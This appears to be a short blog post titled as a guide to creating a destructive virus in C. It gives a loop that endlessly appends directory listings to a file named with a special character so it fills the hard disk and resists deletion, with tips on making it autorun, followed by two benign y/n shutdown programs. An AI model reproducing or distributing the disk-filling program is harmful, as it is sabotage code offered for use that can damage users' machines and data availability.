Creating
a destructive virus using C program
how to jam your hard disk:
Here a simple virus program which has only a few lines but has ability to jam your Hard disc.
The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
it can work in os sush as win-98 ,XP
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>â•ša.exe");
}
}
Compiling the programme we get v.exe file.This is our virus.
For more explanation read fully ....
How it works?-The system call "dir>>â•ša.exe" will execute the dos command 'dir' and ridirect its output toa file â•ša.exe(the symbol â•š can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of â•ša.exe in a great amount.This process will continue to infinity as this is in a while(1) loop;
Best try this on win98.then you cannot delete â•ša.exe from GUI.
For auto running place v.exe in the command folder in windows folder.
C program to shutdown ur PC WINDOWS7:
#include
<stdio.h>
#include
<stdlib.h>
main()
{
char ch;
printf("Do you want to shutdown your
computer now (y/n)\n");
scanf("%c",&ch);
if (ch == 'y' || ch == 'Y')
system("C:\\WINDOWS\\System32\\shutdown
/s");
return 0;
}
FOR WINDOWS XP USERS:
#include
<stdio.h>
#include
<stdlib.h>
main()
{
char ch;
printf("Do you want to shutdown your
computer now (y/n)\n");
scanf("%c",&ch);
if (ch == 'y' || ch == 'Y')
system("C:\\WINDOWS\\System32\\shutdown
-s");
return 0;
}
No comments:
Post a Comment